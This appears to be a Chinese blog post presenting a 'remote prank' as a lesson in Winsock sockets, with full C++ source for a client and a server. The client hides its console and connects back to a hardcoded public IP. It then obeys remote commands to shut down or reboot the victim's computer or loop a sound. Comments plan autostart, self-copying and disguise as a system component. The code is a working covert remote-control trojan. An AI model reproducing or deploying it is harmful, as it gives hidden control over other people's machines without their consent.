【远程恶搞】

【远程恶搞】,第1张

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

远程恶搞
  • 前言
    • 远程恶搞原理: 分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
  • 一、服务器端和客户端分别是什么是什么?
  • 二、使用步骤
    • 1.引入库
    • 2.读入数据
  • 总结


前言

提示:这里可以添加本文要记录的大概内容:

远程恶搞原理:
分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。

提示:以下是本篇文章正文内容,下面案例可供参考

一、服务器端和客户端分别是什么是什么?

服务器端:类似于一个服务器,就像你打的游戏一样,你和你的队友实现连接其实就是你俩连接在了同一类服务器端,从而共享和交换了游戏数据,部分游戏外挂也是根据这个原理开发的。

客户端:你和你的队友和对手在登录游戏时连接的都是对应的游戏的服务器,从而实现联网游戏。

二、使用步骤 1.引入库

往后看你会发现服务器端和客户端的基础头尾都是一样的:

/*客户端新建一个头文件,把这个写进去,然后引用这个头文件*/
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 远程控制client.rc 使用
//
#define IDR_WAVE1                       101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif


2.读入数据

代码如下(示例):

先上客户端代码:

#include 
#include "resource.h"
#include   //套接字头文件
#include 
#pragma comment(lib,"ws2_32.lib") //库文件
#pragma comment(lib,"winmm.lib")

//关机			开机自启
//删除			拷贝一份随便找一个地方
//任务管理器		表白程序.exe  --> windows system32 网络核心驱动组件

//隐藏控制台的代码 点击完了啥也看不到。
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址

int main()
{
	//1.程序开始的时候 初始化网络资源
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	//准备一个电话
	SOCKET hSock = socket(PF_INET, SOCK_STREAM, 0);

	//准备对方电话号码
	SOCKADDR_IN servAdr;
	servAdr.sin_family = AF_INET; //IPV4
	//servAdr.sin_addr.s_addr = inet_addr("127.0.0.1");  //IP地址
	//servAdr.sin_addr.s_addr = inet_addr("192.168.0.153");  //IP地址
	servAdr.sin_addr.s_addr = inet_addr("82.156.192.120");
	servAdr.sin_port = htons(16888);  //端口 0-1024(不能给)

	//拨号 项目-属性-C/C++   SDL检查改成否。
	while(1)
	{
		if (connect(hSock, (SOCKADDR*)&servAdr, sizeof(servAdr)) == SOCKET_ERROR)
			continue;
		else
			break;
	}

	//开始对话  在吗
	char buf[32] = { 0 };
	while (1)
	{
		recv(hSock, buf, 32, 0);  //听 我听
		int ret = atoi(buf);  //字符串转化成数字

		if (ret == 1) {
			send(hSock, "Q", sizeof("Q"), 0);  //回复说 搞定了 退出电脑已近关闭了
			system("shutdown -s -t 1");       //60秒之后关机
		}
		else if (ret == 2) {
			send(hSock, "Q", sizeof("Q"), 0);  //回复说 搞定了 退出电脑已近关闭了说
			system("shutdown -r -t 1");       //60秒之后关机
		}
		else if (ret == 3) {
			send(hSock, "Y", sizeof("Y"), 0);
			PlaySound((LPCWSTR)IDR_WAVE1,NULL,SND_RESOURCE|SND_LOOP|SND_ASYNC);
		}
		else if (ret == 4) {
			send(hSock, "Q", sizeof("Q"), 0);  //回复说 搞定了 退出电脑已近关闭了说
			break;
		}
	}
	
	//2.程序结束的时候 释放网络资源
	WSACleanup();
	return 0;
}

接下来上服务器端代码:

#include 
#include   //套接字头文件
#pragma comment(lib,"ws2_32.lib") //库文件

int main()
{
	//1.程序开始的时候 初始化网络资源
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2,2),&wsaData);
	
	
	//准备一个电话机 套接字(socket)
	SOCKET hServSock = socket(PF_INET, SOCK_STREAM, 0); 

	//分配电话号码 IP地址 端口号
	SOCKADDR_IN servAdr = {0};
	servAdr.sin_family = AF_INET; //IPV4
	servAdr.sin_addr.s_addr = htonl(INADDR_ANY);  //IP地址
	servAdr.sin_port = htons(16888);  //端口 0-1024(不能给)
	bind(hServSock, (SOCKADDR*) & servAdr, sizeof(servAdr));

	//激活联网 开启监听
	listen(hServSock,5);

	//准备接听 要不要来电显示?
	SOCKADDR_IN clntAdr = {0}; 
	int clntAdrSz = sizeof(clntAdr);
	SOCKET hsock;
	char buf[32] = {0}; //准备一个空字符串
	while (1)
	{
		system("cls");
		printf("等待连接中....\n");
		hsock = accept(hServSock, (SOCKADDR*)&clntAdr, &clntAdrSz);

		int choise; 
		while (1)
		{
			system("cls");
			printf("有人连上来了\n");
			printf("1.关机\n");
			printf("2.重启\n");
			printf("3.O泡果奶\n");
			printf("4.退出客户端\n");
			 
			scanf("%d", &choise);  //1 2 3 4 5

			_itoa(choise, buf, 10); //把输入的数据choise转换成字符串
			send(hsock, buf, 32, 0);  //把buf  1  说(发送)

			//接受对方的回复
			recv(hsock, buf, 32, 0);
			if (!strcmp(buf, "Q"))
			{
				printf("对方已经下线\n");
				system("pause"); //按任意键继续
				closesocket(hsock);
				break;
			}

			if (!strcmp(buf, "Y"))
			{
				printf(" *** 作已经执行!\n");
				system("pause"); //按任意键继续
				continue;
			}
		}
	}
	//2.程序结束的时候 释放网络资源
	WSACleanup();
	return 0;
}




总结

温馨提示:这里对文章进行总结:

/*
    C/C++ 很刑 很有判头
	
	C/C++ 幻想。
	C/C++语法  数据结构  网络  数据库  内核  mfc  qt


*/


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/796807.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-06
下一篇2022-05-06

发表评论

登录后才能评论

评论列表(0条)

    保存